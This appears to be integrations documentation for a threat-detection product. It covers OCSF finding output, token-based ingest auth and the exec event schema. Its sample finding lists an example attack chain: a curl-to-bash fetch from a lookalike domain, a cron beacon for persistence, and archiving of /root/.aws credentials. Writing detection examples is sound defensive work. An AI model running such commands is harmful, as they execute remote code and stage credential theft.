Docs / Integrations

Integrations

The finding schema on the way out, and the ingest event shape on the way in for the cloud tier.

Findings: OCSF, out

Every verdict is delivered as an OCSF Detection Finding (class_uid: 2004) — an open, vendor-neutral schema most SIEMs already parse, over a webhook or log file. A flagged window produces up to three separate findings over the wire (window score, explanation, and an eventual pod-level summary), correlated by pod_uid and window_id rather than combined server-side — the fast window alert doesn't wait on the slower explanation pass to finish.

{
  "class_uid": 2004,
  "class_name": "Detection Finding",
  "category_uid": 2,
  "metadata": { "version": "1.1.0", "product": { "name": "protet" } },
  "finding_info": {
    "uid": "b7e1c2-window-4-explanation",
    "title": "Execve attribution for flagged window",
    "desc": "Primary suspicious command and, on entitled plans, its most likely attack chain."
  },
  "container": { "pod_name": "ci-build-7f3a", "name": "" },
  "cloud": { "region": "build-runners" },
  "enrichments": [
    { "name": "finding_kind", "value": "explanation" },
    { "name": "window_id", "value": "b7e1c2-window-4" },
    { "name": "hit1_command", "value": "curl -s https://cdn-assets-optimize.io/postinstall.sh | bash" },
    { "name": "chain_length", "value": "3" },
    { "name": "chain_command_1", "value": "curl -s https://cdn-assets-optimize.io/postinstall.sh | bash" },
    { "name": "chain_command_2", "value": "echo '*/5 * * * * curl -s .../beacon | bash' >> /etc/cron.d/npm-cache" },
    { "name": "chain_command_3", "value": "tar -czf /tmp/.cache -C /root/.aws ." },
    { "name": "flippable", "value": "false" }
  ]
}

Deliberately excluded from the wire format: raw model scores, confidence deltas, or per-command sensitivity magnitudes. hit1_command and the attack chain are hints for an analyst, not a number to threshold on.

Cloud ingest auth: refresh & access tokens

Mint a long-lived refresh token from your dashboard once you're on a cloud-deployment tier. Your collector keeps that secret and trades it for a short-lived access token (valid ~1 hour) — that access token is what you send events with. Refresh shortly before it expires; a build longer than the token's lifetime just keeps refreshing, and the session isn't interrupted.

POST https://protet.io/v1/ingest/refresh
Authorization: Bearer <your refresh token>

→ { "token": "<access token>", "expires_in": 3600 }

Suspension and plan changes take effect at the next refresh (the endpoint re-checks your entitlement and re-reads your plan every time), so there's nothing to revoke mid-build — a suspended account simply stops getting new access tokens. If you run our collector, set INGEST_REFRESH_TOKEN + INGEST_REFRESH_URL and it handles all of this for you.

Custom telemetry: the ingest event shape, in (cloud tier)

The cloud tier's ingest endpoint is a deliberately open contract — you're not required to run our collector. Any client that authenticates with a valid access token and POSTs this shape is accepted:

POST https://ingress.protet.io/v1/ingest
Authorization: Bearer <your access token>
Content-Type: application/json

{
  "events": [
    {
      "event_type": "exec",
      "node": "node-1",
      "pod_uid": "3f8a1c2e-...",
      "pod_name": "ci-build-7f3a",
      "namespace": "build-runners",
      "container_id": "c1a2b3...",
      "pid": 4821,
      "ppid": 4802,
      "exec_id": "4821-1720512345",
      "binary": "/usr/local/bin/npm",
      "args": "install",
      "ts": "2026-07-09T12:00:00Z",
      "collected_at": "2026-07-09T12:00:00.120Z"
    }
  ]
}

Why binary and args are separate

Send the executable path and its arguments as two fields — not pre-joined into one command string. We normalize every command server-side into exactly the form the detector was trained on, and that transformation needs the two halves apart:

  • the executable is reduced to its basename, so /usr/local/bin/npm install and /opt/node/bin/npm install are the same command;
  • sh -c "<script>" is unwrapped to the script itself, so what ran is what gets scored;
  • the full path decides whether a command is build tooling (/go/pkg/tool/compile, gcc, ld) — roughly two thirds of a typical build — which is excluded from analysis exactly as it was during training.

A pre-joined string can't be split back reliably (paths contain spaces), so a joined command would be scored as something the model never saw. That's why cmd is rejected rather than accepted-and-guessed: a request carrying it returns 422 naming these fields.

event_type: "exit" events carry neither field — just the pid that ended.

Findings quote the normalized command (npm install, not /usr/local/bin/npm install) — that is literally the text the model scored and the explainability engine occluded, so what you see is what drove the verdict.

client_id and your explainability-depth entitlement are stamped server-side from the access token itself — never trust or accept them from the client payload if you're building your own collector against this endpoint.